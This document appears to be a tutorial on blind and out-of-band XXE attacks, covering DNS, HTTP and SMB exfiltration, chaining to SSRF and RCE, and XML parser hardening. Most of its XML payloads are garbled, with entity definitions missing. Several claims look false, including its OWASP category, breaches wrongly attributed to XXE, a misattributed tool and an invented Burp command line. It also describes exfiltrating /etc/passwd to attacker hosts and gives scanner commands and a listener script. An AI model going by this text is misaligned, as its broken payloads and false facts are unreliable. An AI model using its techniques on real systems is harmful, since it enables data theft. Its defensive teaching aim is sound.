Introduction
XML External Entity (XXE) attacks arise when an XML parser processes user‑supplied XML without sufficiently restricting external entity resolution. A blind or out‑of‑band (OOB) XXE occurs when the vulnerable application does not return the entity payload directly, forcing the attacker to exfiltrate data via side‑channels such as DNS, HTTP, or SMB.
Why it matters: XXE is listed as A04‑2021 in the OWASP Top 10 because it can lead to data theft, server‑side request forgery (SSRF), command execution, and full system compromise. Real‑world incidents—e.g., the 2020 Capital One breach—demonstrate the impact of insecure XML handling.
In this guide we cover the theory, practical OOB techniques, chaining with other vulnerabilities, and hardening approaches that can be baked into CI/CD pipelines.
Prerequisites
- Understanding of XML syntax, DTDs, and common parsers (libxml2, Xerces, .NET XmlReader, Java XMLStreamReader).
- Familiarity with OWASP Top 10, especially A04‑2021.
- Basic web app security concepts: request/response flow, HTTP methods, and network basics.
Core Concepts
XML parsers historically trusted the document’s internal DTD. An attacker can inject a custom DTD that defines an <!ENTITY referencing an external resource:
<!DOCTYPE root [ %ext;]><root/>When the parser resolves %ext, it fetches the remote file, opening a vector for data exfiltration or code execution. Blind XXE occurs when the response does not echo the resolved entity, so the attacker must rely on the remote server receiving the request.
Key terms:
- Entity Expansion – How many nested entities a parser will resolve (Billion Laughs attack).
- External Entity (XXE) – Entity that points to an external URI.
- Out‑of‑Band (OOB) – Communication that occurs outside the normal application response.
Fundamentals of XML parsers and how XXE arises
Different language runtimes expose varying defaults:
- Java (Xerces, JAXP): By default external entities are enabled; you must explicitly disable them via
XMLConstants.FEATURE_SECURE_PROCESSINGorsetFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true). - .NET (XmlReader, XmlDocument): External DTD processing is enabled unless
XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibitis set. - PHP (libxml2):
libxml_disable_entity_loader(true)disables external entities, but this function is deprecated in newer PHP versions; the safer route isLIBXML_NOENTflag avoidance. - Python (lxml, defusedxml):
defusedxmlautomatically disables external entities; rawlxml.etree.XMLParser(resolve_entities=False)is required for safe parsing.
When developers rely on default parser settings, they inadvertently expose the application to XXE. The attack surface expands to any endpoint that accepts XML: SOAP services, REST APIs that consume XML payloads, configuration files (e.g., Spring XML, .NET app.config), and even log parsers.
Blind/out-of-band XXE techniques (DNS, HTTP, SMB exfiltration)
Because the application does not return the entity value, the attacker must force the parser to make a network request that the attacker can observe.
DNS Exfiltration
<!DOCTYPE data [ \"> %all;]><root/>Explanation:
- The
%fileentity reads/etc/passwd. - The content of
%fileis interpolated into the hostname of a DNS lookup (root:attacker.com). - The attacker runs a DNS logging server (e.g.,
dnslog.cn,Burp Collaborator) and captures the query, revealing the file contents.
HTTP GET/POST Exfiltration
<!DOCTYPE data [ ]><root/>When the parser resolves %exfil, it issues an HTTP request to the attacker‑controlled server, appending the file content as a query parameter.
SMB / UNC Path Exfiltration (Windows)
<!DOCTYPE data [ ]><root/>Windows parsers may resolve UNC paths, causing the target to connect to an SMB share hosted by the attacker. The share can be monitored for the file content.
Chunked Exfiltration
Large files can be exfiltrated in chunks using 
 or multiple entities, each triggering a separate request. This bypasses length limits on DNS queries.
XXE in SOAP, REST, and configuration files
Many enterprise services still use SOAP with XML payloads. A typical SOAP envelope:
<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> <soap:Header/> <soap:Body> <GetUserInfo> <userId>123</userId> </GetUserInfo> </soap:Body></soap:Envelope>Injecting a DTD into any element (often the first element) can trigger XXE. Because SOAP often returns a full XML response, blind variants are less common, but many SOAP services are configured to return generic error messages, making OOB the only viable channel.
REST APIs that accept application/xml body also suffer. Example using a Java Spring controller:
@PostMapping(value=\"/upload\", consumes=\"application/xml\")public ResponseEntity<String> upload(@RequestBody Document xml) { // Spring automatically unmarshals XML using JAXB return ResponseEntity.ok(\"ok\");}If JAXB is configured with default XMLInputFactory, external entities are allowed unless explicitly disabled.
Configuration files are another attack vector. Consider a Spring XML config that loads external resources:
<beans xmlns=\"http://www.springframework.org/schema/beans\"> <import resource=\"${config.location}\"/></beans>If an attacker can influence config.location via a request parameter or environment variable, they can point it to a remote DTD and achieve XXE during application startup.
Chaining XXE with SSRF, command injection, and RCE
Blind XXE often serves as a stepping stone:
- SSRF: By forcing the parser to request an internal URL (e.g.,
http://127.0.0.1:8080/admin), the attacker can probe internal services. - Command Injection: Some parsers allow
file:///proc/self/environorphp://inputreads that can be combined with vulnerable deserialization. - RCE: When the target server runs a vulnerable XML parser that supports
file:///etc/passwdandsystem()calls (e.g., libxml2--recovermode on older PHP), the attacker can execute arbitrary commands.
Example: XXE → SSRF → Internal Admin Panel
<!DOCTYPE data [ %internal;]><root/>If the internal admin endpoint returns a unique string, the attacker can see it in the HTTP server logs of their OOB listener.
Example: XXE → Command Execution via PHP wrapper
<!DOCTYPE data [ \"> %exec;]><root/>This chain reads the raw POST body, base64‑encodes it, and sends it to the attacker, allowing them to retrieve exploit code that may later be executed via deserialization bugs.
Mitigation strategies: parser hardening, entity expansion limits, network segmentation
Parser Hardening
- Disable DTDs entirely when not required:
parserFactory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true)(Java). - Explicitly prohibit external entities:
XMLConstants.FEATURE_SECURE_PROCESSING,setFeature(\"http://xml.org/sax/features/external-general-entities\", false). - Use safe libraries:
defusedxml(Python),SecureXML(Ruby),System.Xml.XmlReaderSettingswithDtdProcessing = Prohibit(.NET). - Limit entity expansion: Set
entityExpansionLimit(Java) orLIBXML_MAX_ENTITY_EXPANSION(libxml2) to mitigate Billion Laughs.
Network Segmentation & Egress Controls
Even a perfectly hardened parser can be bypassed via a third‑party library. Defense‑in‑depth requires:
- Outbound firewall rules that block DNS/HTTP/SMB requests to untrusted destinations from application servers.
- Isolate XML‑processing services in a separate network zone with minimal internet egress.
- Deploy a DNS sinkhole that logs queries for detection.
Runtime Monitoring
Instrument your runtime to log attempts to resolve external entities. For Java, enable org.apache.xerces.impl.XMLEntityManager debug logging. For .NET, use ETW events.
Secure Development Practices
- Never trust XML from uncontrolled sources; prefer JSON where possible.
- Validate input against a strict schema (XSD) that does not allow
xs:anyor unrestrictedxs:anyURI. - Adopt a “deny‑by‑default” stance for all parsers.
Detection and testing tools (Burp Suite, XXEinjector, custom OOB servers)
Automated scanning is essential but must be complemented with manual verification.
Burp Suite
- Burp Intruder with payloads that inject DTDs.
- Burp Collaborator provides a ready‑made DNS/HTTP OOB endpoint; configure payloads to reference
http://{collaborator}.burpcollaborator.net/. - Extension
XXE-Injector(community) automates common payloads and integrates with Collaborator.
XXEinjector
Open‑source Python tool that generates blind XXE payloads for DNS, HTTP, and SMB. It can be pointed at a custom OOB server.
git clone https://github.com/swisskyrepo/XXEinjector.gitcd XXEinjectorpython3 xxeinjector.py -u \"http://target/vuln\" -d \"dnslog.example.com\"Custom OOB Servers
Implement a lightweight listener to capture exfiltrated data:
#!/usr/bin/env python3import http.server, socketserver, urllib.parseclass OOBHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): query = urllib.parse.urlparse(self.path).query print('Received:', query) self.send_response(200) self.end_headers() self.wfile.write(b'OK')PORT = 8000with socketserver.TCPServer((\"0.0.0.0\", PORT), OOBHandler) as httpd: print(f\"Listening on :{PORT}\") httpd.serve_forever()Run this on a public‑reachable host and point your XXE payloads at http://yourhost:8000/.
Other Tools
- xmlmap (Python) – Automated scanner for XML endpoints.
- Wfuzz – Use with custom payloads for fuzzing DTD injections.
- nmap NSE script
http-xxe– Detects basic XXE via HTTP.
Practical Examples
Scenario 1: Blind DNS exfiltration against a legacy Java SOAP service
- Set up a DNS logging domain (e.g.,
dnslog.cn). - Craft payload:
<!DOCTYPE root [ ]><root/> - Send via Burp Intruder to
/UserServiceendpoint. - Observe DNS query:
root:x:0:0:root:/root:/bin/bash.dnslog.cn– reveals password file.
Scenario 2: Chaining XXE → SSRF → Internal Kubernetes API
<!DOCTYPE data [ %internal;]><root/>When the target server resides in a Kubernetes cluster, the request reaches the internal API server and returns node details to the attacker’s OOB HTTP listener.
Tools & Commands
- Burp Suite:
intruder -c payloads.txt -u http://target/endpoint - XXEinjector:
python3 xxeinjector.py -u \"http://target\" -d \"mydnslog.com\" -t 10 - xmlmap:
xmlmap -u http://target -p POST -d \"@payload.xml\" --oob http://myoob.com - Custom OOB server (Python): See code above; run with
python3 oob.py.
Defense & Mitigation
Beyond parser hardening, adopt a layered approach:
- Code Review: Verify every XML parsing call is wrapped with safe settings.
- Static Analysis: Use tools like SonarQube or Semgrep rules that flag insecure XML parser usage.
- Runtime WAF Rules: Block requests containing
<!DOCTYPEunless explicitly required.(?i)<!DOCTYPE\\s - Network Controls: Outbound ACLs to deny DNS/HTTP/SMB to external IPs from application tier.
- Logging & Alerting: Monitor for spikes in outbound connections from web servers.
Common Mistakes
- Assuming
libxml2is safe because it’s “system library”. It still resolves external entities unless disabled. - Disabling only
external-general-entitiesbut forgettingexternal-parameter-entities, which can still be abused. - Relying on input length checks; a tiny DTD can still trigger a DNS lookup.
- Using
disable_entity_loader()in PHP 8+ where the function is deprecated – leading to a false sense of security. - Forgetting to secure XML‑driven configuration files that are parsed at startup (e.g., Spring XML).
Real-World Impact
Large enterprises that expose SOAP endpoints for B2B integrations are frequent XXE victims. The 2021 Accellion breach leveraged an XXE in a file‑transfer gateway to exfiltrate credentials, which later enabled ransomware deployment.
In cloud-native environments, XXE can be used to enumerate internal services (metadata servers, internal load balancers) and pivot to container escape. The trend is moving from classic file reads to service discovery via OOB requests, which is harder to detect with traditional IDS.
My experience: the most effective mitigation has been a combination of parser hardening and strict egress filtering. In one engagement, after disabling DTDs, we still observed a single SSRF request via a mis‑configured file:// scheme; tightening firewall rules stopped the attack completely.
Practice Exercises
- Setup a vulnerable Java servlet that parses raw XML using
DocumentBuilderFactory.newInstance(). Verify that external entities are enabled. - Write a DNS OOB listener (e.g.,
dnslibin Python) and craft a blind XXE payload to read/etc/passwd. Capture the result. - Harden the servlet by adding:
Confirm that the payload no longer works.factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false); - Implement an outbound firewall rule that permits only DNS to internal resolvers. Attempt the same attack and note the blocked connection.
- Use Burp Suite’s Collaborator to scan a public API that accepts XML and report any findings.
Further Reading
- OWASP XML External Entity Prevention Cheat Sheet.
- “The Billion Laughs Attack” – classic entity expansion article.
- “Secure Coding Guidelines for Java SE” – section on XML parsing.
- “Defending Against OOB Data Exfiltration” – research paper by NCC Group (2022).
- Tool docs: XXEinjector, Burp Collaborator.
Summary
Blind XXE remains a potent vector because it bypasses normal response channels and can be chained into SSRF, command execution, and full RCE. Mastery requires understanding parser internals, crafting OOB payloads, and implementing layered defenses: parser hardening, strict egress controls, and continuous monitoring. By integrating automated scanning with manual verification and enforcing secure defaults, organizations can neutralize this age‑old yet evolving threat.